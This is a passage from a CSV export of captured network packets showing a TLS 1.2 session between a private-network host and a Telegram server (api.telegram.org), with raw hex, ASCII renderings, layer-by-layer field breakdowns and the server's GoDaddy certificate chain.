Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4075040322 Ack=902238565,5254007bb792525400577f94080045000028ba25400040060951959aa66ec0a87aa801bbc3c8f2e42e4235c711655010005377740000,RT.{..RT.W....E..(.%@.@.\tQ...n..z........B5..eP..Swt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47653, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 2385, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075040322, \"\"ack\"\": 902238565, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:05.124668,154,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > Padding,5,TCP PA Seq=4075040322 Ack=902238565,5254007bb792525400577f94080045000d80ba2640004006fbf7959aa66ec0a87aa801bbc3c8f2e42e4235c711655018005384cc00001603030045020000410303ba3ea276d71ec2b3ad03d805e6ca2784e7af936d4750ad94444f574e4752440100c02f000019ff0100010000000000000b00040300010200230000001700001603030f4f0b000f4b000f480006a23082069e30820586a003020102020900953e24e73d0908de300d06092a864886f70d01010b05003081b4310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e312d302b060355040b1324687474703a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f313330310603550403132a476f2044616464792053656375726520436572746966696361746520417574686f72697479202d204732301e170d3235313131313135313430395a170d3236313231333135313430395a301b31193017060355040313106170692e74656c656772616d2e6f726730820122300d06092a864886f70d01010105000382010f003082010a0282010100b4a3169e5c57c98965edea780bae8a582fae5ac86e498dfc57a59888782e0b3c403c212e9a949833a7e342a785fad07384011c72393723b5561d43a571140824a539ccde5853948e2a42a74e2d07329eba8bd32aa99ec0e3ce9a109645587ac71e45142392bb5482889449b6be812100296dc9ce8b393adc3515d9eb479cefba090e16e4d9eb7230fa49ab98317cb3ac2b2991870841725e35c7870422f54876306d88dff2a5291370b38702d56b58b1e873c7e4ef7986a4075f67b4798da42501828ce03017cb4b5cfbeb4c1251b9c9041f7ed2f8baf5358d8a1c3782f01573006e3d1c768b0174813de42ca7cc2f66dc44a8273fead0a7a8f1cbeada0738bd0203010001a382034930820345300c0603551d130101ff04023000301d0603551d250416301406082b0601050507030106082b06010505070302300e0603551d0f0101ff0404030205a030390603551d1f04323030302ea02ca02a8628687474703a2f2f63726c2e676f64616464792e636f6d2f676469673273312d36383230302e63726c305d0603551d20045630543008060667810c0102013048060b6086480186fd6d010717013039303706082b06010505070201162b687474703a2f2f6365727469666963617465732e676f64616464792e636f6d2f7265706f7369746f72792f307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e676f64616464792e636f6d2f304006082b060105050730028634687474703a2f2f6365727469666963617465732e676f64616464792e636f6d2f7265706f7369746f72792f67646967322e637274301f0603551d2304183016801440c2bd278ecc348330a233d7fb6cb3f0b42c80ce30310603551d11042a302882106170692e74656c656772616d2e6f726782147777772e6170692e74656c656772616d2e6f7267301d0603551d0e041604140514d0c0c3ef0e94bb2199e7a3365c28773096d53082017f060a2b06010401d6790204020482016f0482016b0169007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c569770000019a737b46570000040300473045022100b9c832a7072574676f4b12426204f8d7979e25d8b2b11dba7517e583bcc19e170220562d1888be47a94c99664e9893e17500513e7c492554f4877ab89b2f372eb649007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019a737b47940000040300473045022100d5bae3a6b1e31b1891fe4268338a05ae0cb3af8afd55a90294b999ab44c4929e02204477a4e85fb41bd0ce620cb778c96daf093fc0c8a6a1a293379060b839783613007700cb38f715897c84a1445f5bc1ddfbc96ef29a59cd470a690585b0cb14c31458e70000019a737b486e0000040300483046022100e2ef4fc264c01d10007d8f0e47dcac22266f7008bef334e6e78878406f732be7022100d22e3e13421d4eb884369953547d2c3892c9a5a5a82207c83c56b1cca3d7d5cf300d06092a864886f70d01010b050003820101004e3a8b78e807a1ee2da4de9540cc1cac1a0ab6c3b64a565f8b12e9d84cf8e84cdc153d86bf87c1d46924433c4265586bf641034bf71392509b6a8cf4055547782d56f7cf6639dd9df93967f87cc22f4fff54037beea53804a83eff84eb0f5c57983b666914db81a5c1dde0832c29fbb3d0b9d2619bfaca3f95c56c918e45003f2a917e822abb5996473baf116007b289231e75b687820e5ab3b4cad26394500cfa0a9b608a0f454eec6059bd3aa2db7ae3dd0441d3e881f1786ed8a37c202ce171b4e0c77c72e1d08ef859620941a718ca1494e75a8842860fe0a9e2efedc39086954fa119c1f2baa4e7380d3dc8fae9044f1f937dafd491ca564c24169053380004d4308204d0308203b8a003020102020107300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3131303530333037303030305a170d3331303530333037303030305a3081b4310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e312d302b060355040b1324687474703a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f313330310603550403132a476f2044616464792053656375726520436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100b9e0cb10d4af76bdd49362eb3064b881086cc304d962178e2fff3e65cf8fce62e63c521cda16454b55ab786b63836290ce0f696c99c81a148b4ccc4533ea88dc9ea3af2bfe80619d7957c4cf2ef43f303c5d47fc9a16bcc3379641518e114b54f828bed08cbef030381ef3b026f86647636dde7126478f384753d1461db4e3dc00ea45acbdbc71d9aa6f00dbdbcd303a794f5f4c47f81def5bc2c49d603bb1b24391d8a4334eeab3d6274fad258aa5c6f4d5d0a6ae7405645788b54455d42d2a3a3ef8b8bde9320a029464c4163a50f14aaee77933af0c20077fe8df0439c269026c6352fa77c11bc87487c8b993185054354b694ebc3bd3492e1fdcc1d252fb0203010001a382011a30820116300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e0416041440c2bd278ecc348330a233d7fb6cb3f0b42c80ce301f0603551d230418301680143a9a8507106728b6eff6bd05416e20c194da0fde303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e676f64616464792e636f6d2f30350603551d1f042e302c302aa028a0268624687474703a2f2f63726c2e676f64616464792e636f6d2f6764726f6f742d67322e63726c30460603551d20043f303d303b0604551d20003033303106082b06010505070201162568747470733a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f300d06092a864886f70d01010b05000382010100087e6c9310c838b896a9904bffa15f4f04ef6c3e9c8806c9508fa673f757311bbebce42fdbf8bad35be0b4e7e679620e0ca2d76a637331b5f5a848a43b082da25d90d7b47c254f115630c4b6449d7b2c9de55ee6ef0c61aabfe42a1bee849eb8837dc143ce44a713700d911ff4c813ad8360d9d872a873241eb5ac220eca17896258441bab892501000fcdc41b62db51b4d30f512a9bf4bc73fc76ce36a4cdd9d82ceaae9bf52ab290d14d75188a3f8a4190237d5b4bfea403589b46b2c3606083f87d5041cec2a190c3bbef022fd21554ee4415d90aaea78a33edb12d763626dc04eb9ff7611f15dc876fee469628ada1267d0a09a72e04a38dbcf8bc0430010003c9308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c5,\"RT.{..RT.W....E.\n..&@.@......n..z........B5..eP..S........E...A...>.v..........'....mGP..DOWNGRD.../.....................#..........O...K..H...0...0.........\t..>$.=\t..0\n.\t*.H..\n.....0..1.0\t..U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.1-0+..U...$http://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Certificate Authority - G20..\n251111151409Z.\n261213151409Z0.1.0...U....api.telegram.org0..\"\"0\n.\t*.H..\n..........0..\n.........\\W..e..x...X/.Z.nI..W...x..<@<!....3..B....s...r97#.V.C.q..$.9..XS..*B.N-.2....*........EXz..E.#..T...I...!.)m...9:.5...G...\t.....r0.I..1|..+)...Ar^5...\"\".Hv0m....).p....kX..s...y..._g.y..%....0..K\\..L.Q....~....5...7...s.n=.v..t.=.,../f.D.'?.........8.........I0..E0...U.......0.0...U.%..0...+.........+.......0...U...........09..U...2000..,.*.(http://crl.godaddy.com/gdig2s1-68200.crl0]..U. .V0T0...g.....0H..`.H...m....0907..+........+http://certificates.godaddy.com/repository/0v..+........j0h0$..+.....0...http://ocsp.godaddy.com/0@..+.....0..4http://certificates.godaddy.com/repository/gdig2.crt0...U.#..0...@..'..4.0.3..l...,..01..U...*0(..api.telegram.org..www.api.telegram.org0...U...............!...6\\(w0..0....\n+.....y......o...k.i.v..m}....w..._......3Ze....s....iw....s{FW.....G0E.!...2..%tgoK.Bb.....%.....u........ V-...G.L.fN...u.Q>|I%T..z../7..I.v..1~WE..E..8...A...!Z\"\".....v...R.....s{G......G0E.!...........Bh3........U......D.... Dw.._....b..x.m.\t?......7.`.9x6..w..8...|..D_[....n..Y.G\ni.......X.....s{Hn.....H0F.!...O.d....}..G..\"\"&op...4...x@os+..!...>.B.N..6.ST},8.....\"\"..<V......0\n.\t*.H..\n..........N:.x....-...@....\n...JV_....L..L..=.....i$C<BeXk.A.K...P.j...UGx-V..f9...9g.|./O.T.{..8..>....\\W.;fi........,).....a...?..l..E.?*.~.*.Y.G;..`...#.u....Z....c.P..\n.`..EN.`Y.:..z...A....xn..| ,.q...|r....Yb\tA......Z.B...........O.......8\n=....O..}....VL$..S8...0...0...........0\n.\t*.H..\n.....0..1.0\t..U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20..\n110503070000Z.\n310503070000Z0..1.0\t..U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.1-0+..U...$http://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Certificate Authority - G20..\"\"0\n.\t*.H..\n..........0..\n...........v...b.0d...l...b../.>e...b.<R...EKU.xkc.b...il.....L.E3......+..a.yW....?0<]G.....7.AQ..KT.(.....08...&.fGcm.q&G.8GS.F......E...q..o....0:yO_LG...[...`;..C...3N...'O.%........t.dW..DU.-*:>....2\n..d..:P.J..y3.. .....9.i.lcR.w...t.....PT5KiN.;.I.....R..........0...0...U.......0....0...U...........0...U......@..'..4.0.3..l...,..0...U.#..0...:....g(.....An .....04..+........(0&0$..+.....0...http://ocsp.godaddy.com/05..U....0,0*.(.&.$http://crl.godaddy.com/gdroot-g2.crl0F..U. .?0=0;..U. .0301..+........%https://certs.godaddy.com/repository/0\n.\t*.H..\n...........~l...8....K.._O..l>....P..s.W1..../....[....yb....jcs1...H.;.-.]...|%O.V0..D.{,..^...a...*......}.C.D..p\n.......`..r.s$...\"\"....bXD...%......b.Q...Q*...s.v.6....,....*...Mu..?.A.#}[K...X.F..``..}PA......../..T.D..\n...3..-v6&.....a....o.F.(..&}\n\t.........0....0...0...........0\n.\t*.H..\n.....0..1.0\t..U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20..\n090901000000Z.\n371231235959Z0..1.0\t..U....US1.0...U....Arizona1.0...U...\nScottsdale1.0...U.\n..GoDaddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20..\"\"0\n.\t*.H..\n..........0..\n......qb...Y4.......IX.\"\"....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 47654, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 64503, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075040322, \"\"ack\"\": 902238565, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 33996, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 69, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=65 version=TLS 1.2 gmt_unix_time=Sun, 06 Jan 2069 03:03:18  (3124666998) random_bytes=d71ec2b3ad03d805e6ca2784e7af936d4750ad94444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 comp=null extlen=25 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603030f4f0b000f4b000f480006a23082069e30820586a003020102020900953e24e73d0908de300d06092a864886f70d01010b05003081b4310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e312d302b060355040b1324687474703a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f313330310603550403132a476f2044616464792053656375726520436572746966696361746520417574686f72697479202d204732301e170d3235313131313135313430395a170d3236313231333135313430395a301b31193017060355040313106170692e74656c656772616d2e6f726730820122300d06092a864886f70d01010105000382010f003082010a0282010100b4a3169e5c57c98965edea780bae8a582fae5ac86e498dfc57a59888782e0b3c403c212e9a949833a7e342a785fad07384011c72393723b5561d43a571140824a539ccde5853948e2a42a74e2d07329eba8bd32aa99ec0e3ce9a109645587ac71e45142392bb5482889449b6be812100296dc9ce8b393adc3515d9eb479cefba090e16e4d9eb7230fa49ab98317cb3ac2b2991870841725e35c7870422f54876306d88dff2a5291370b38702d56b58b1e873c7e4ef7986a4075f67b4798da42501828ce03017cb4b5cfbeb4c1251b9c9041f7ed2f8baf5358d8a1c3782f01573006e3d1c768b0174813de42ca7cc2f66dc44a8273fead0a7a8f1cbeada0738bd0203010001a382034930820345300c0603551d130101ff04023000301d0603551d250416301406082b0601050507030106082b06010505070302300e0603551d0f0101ff0404030205a030390603551d1f04323030302ea02ca02a8628687474703a2f2f63726c2e676f64616464792e636f6d2f676469673273312d36383230302e63726c305d0603551d20045630543008060667810c0102013048060b6086480186fd6d010717013039303706082b06010505070201162b687474703a2f2f6365727469666963617465732e676f64616464792e636f6d2f7265706f7369746f72792f307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e676f64616464792e636f6d2f304006082b060105050730028634687474703a2f2f6365727469666963617465732e676f64616464792e636f6d2f7265706f7369746f72792f67646967322e637274301f0603551d2304183016801440c2bd278ecc348330a233d7fb6cb3f0b42c80ce30310603551d11042a302882106170692e74656c656772616d2e6f726782147777772e6170692e74656c656772616d2e6f7267301d0603551d0e041604140514d0c0c3ef0e94bb2199e7a3365c28773096d53082017f060a2b06010401d6790204020482016f0482016b0169007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c569770000019a737b46570000040300473045022100b9c832a7072574676f4b12426204f8d7979e25d8b2b11dba7517e583bcc19e170220562d1888be47a94c99664e9893e17500513e7c492554f4877ab89b2f372eb649007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019a737b47940000040300473045022100d5bae3a6b1e31b1891fe4268338a05ae0cb3af8afd55a90294b999ab44c4929e02204477a4e85fb41bd0ce620cb778c96daf093fc0c8a6a1a293379060b839783613007700cb38f715897c84a1445f5bc1ddfbc96ef29a59cd470a690585b0cb14c31458e70000019a737b486e0000040300483046022100e2ef4fc264c01d10007d8f0e47dcac22266f7008bef334e6e78878406f732be7022100d22e3e13421d4eb884369953547d2c3892c9a5a5a82207c83c56b1cca3d7d5cf300d06092a864886f70d01010b050003820101004e3a8b78e807a1ee2da4de9540cc1cac1a0ab6c3b64a565f8b12e9d84cf8e84cdc153d86bf87c1d46924433c4265586bf641034bf71392509b6a8cf4055547782d56f7cf6639dd9df93967f87cc22f4fff54037beea53804a83eff84eb0f5c57983b666914db81a5c1dde0832c29fbb3d0b9d2619bfaca3f95c56c918e45003f2a917e822abb5996473baf116007b289231e75b687820e5ab3b4cad26394500cfa0a9b608a0f454eec6059bd3aa2db7ae3dd0441d3e881f1786ed8a37c202ce171b4e0c77c72e1d08ef859620941a718ca1494e75a8842860fe0a9e2efedc39086954fa119c1f2baa4e7380d3dc8fae9044f1f937dafd491ca564c24169053380004d4308204d0308203b8a003020102020107300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3131303530333037303030305a170d3331303530333037303030305a3081b4310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e312d302b060355040b1324687474703a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f313330310603550403132a476f2044616464792053656375726520436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100b9e0cb10d4af76bdd49362eb3064b881086cc304d962178e2fff3e65cf8fce62e63c521cda16454b55ab786b63836290ce0f696c99c81a148b4ccc4533ea88dc9ea3af2bfe80619d7957c4cf2ef43f303c5d47fc9a16bcc3379641518e114b54f828bed08cbef030381ef3b026f86647636dde7126478f384753d1461db4e3dc00ea45acbdbc71d9aa6f00dbdbcd303a794f5f4c47f81def5bc2c49d603bb1b24391d8a4334eeab3d6274fad258aa5c6f4d5d0a6ae7405645788b54455d42d2a3a3ef8b8bde9320a029464c4163a50f14aaee77933af0c20077fe8df0439c269026c6352fa77c11bc87487c8b993185054354b694ebc3bd3492e1fdcc1d252fb0203010001a382011a30820116300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e0416041440c2bd278ecc348330a233d7fb6cb3f0b42c80ce301f0603551d230418301680143a9a8507106728b6eff6bd05416e20c194da0fde303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e676f64616464792e636f6d2f30350603551d1f042e302c302aa028a0268624687474703a2f2f63726c2e676f64616464792e636f6d2f6764726f6f742d67322e63726c30460603551d20043f303d303b0604551d20003033303106082b06010505070201162568747470733a2f2f63657274732e676f64616464792e636f6d2f7265706f7369746f72792f300d06092a864886f70d01010b05000382010100087e6c9310c838b896a9904bffa15f4f04ef6c3e9c8806c9508fa673f757311bbebce42fdbf8bad35be0b4e7e679620e0ca2d76a637331b5f5a848a43b082da25d90d7b47c254f115630c4b6449d7b2c9de55ee6ef0c61aabfe42a1bee849eb8837dc143ce44a713700d911ff4c813ad8360d9d872a873241eb5ac220eca17896258441bab892501000fcdc41b62db51b4d30f512a9bf4bc73fc76ce36a4cdd9d82ceaae9bf52ab290d14d75188a3f8a4190237d5b4bfea403589b46b2c3606083f87d5041cec2a190c3bbef022fd21554ee4415d90aaea78a33edb12d763626dc04eb9ff7611f15dc876fee469628ada1267d0a09a72e04a38dbcf8bc0430010003c9308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c5\"\"}}]\"\n2026-04-28 18:23:05.124903,155,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=902238565 Ack=4075043738,525400577f945254007bb79208004500002806e0400080067c96c0a87aa8959aa66ec3c801bb35c71165f2e43b9a5010201477740000,RT.W..RT.{....E..(..@...|...z....n....5..e..;.P. .wt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1760, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31894, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238565, \"\"ack\"\": 4075043738, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:05.304330,156,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4075043738 Ack=902238565,5254007bb792525400577f940800450003a8ba294000400605cd959aa66ec0a87aa801bbc3c8f2e43b9a35c71165501800537af400002043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5160303012c0c00012803001d203aafbe4c872864f900b970762d0acf10ec1367686803d0f7e9a96333737b6f2f080401005b2c874dd5c61b3409bf6adc5c03066ba830adb2a63252d31d0e7b1ac34f1a23a78ac8015beb06726f2e4c23bcaec0efc745db786ab95ab552bfdb369cb8a0f2439f9264b7777e78d73ebfa2ce5dbad52590d88b7af8fcc8831bc86cced8bd567b286613851890205d341aa712868b306d957c6bfa1290a80ad5aa65ed18cbf142028e4797704cfc50787164cb2322bee68ed0f172e22c42c4fec0b097a8c801b4b6536f1bc254c63c18529a670d3b2074817c5c8b1d3b7e050993a737025a07f71261a4fa3f76335a7bdd12b54b2e5cd2bceb8ac6d9769c949532cc8337730f7ca2d57a2220a3591117c683b6e14008d1ff11f7c5a9e0f1c825acbe92d65c6e16030300040e000000,\" C.;....I.'....N...p..2...>.N...O/Y0\"\"...Vk......u.9Q{..5.tN......?........j..............;F|2\n..f\"\"..im6.......`.8......F..\n>.]|.|..+S..biQ%.a.D..,.C.#..:...)....]....0\n9.....K].2..bC%4.V'...;p*?n.....}....Sm`..,.X.._F.....<\t.I1\\iF..G......B0@0...U.......0....0...U...........0...U......:....g(.....An .....0\n.\t*.H..\n............]y...Yg.a.~;.1u-. .Oe......../..Z..t.s.8B..{..u...........S.~.F.....+....'....Z.7....l....=.$Oy.5._.......-.......s@.r%......h..W...:\t..D...7...2..8..d.,~........h..\"\".8-z..T.i._3.z={\n..._9..u..v.3.,./L.....O...JT...}......~...^....C\t.M..k...e.z...D.\\........,...(... :..L.(d...pv-\n....ghh.....c3s{o/....[,.M...4\t.j.\\..k.0...2R...{..O.#....[..ro.L#.....E.xj.Z.R..6....C..d.w~x.>...]..%...z......l...V{(f.... ]4.....0m.|k....\n..e....B..G.pL.Pxqd.#\"\".....r.,B..........So..T.<.R.g\n; t.|\\..;~.\t..7.Z...a..?v3Z{...K.\\......v...2..7s.|..z\"\" .Y......@..........%....\\n.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 936, \"\"id\"\": 47657, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1485, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075043738, \"\"ack\"\": 902238565, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31476, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": 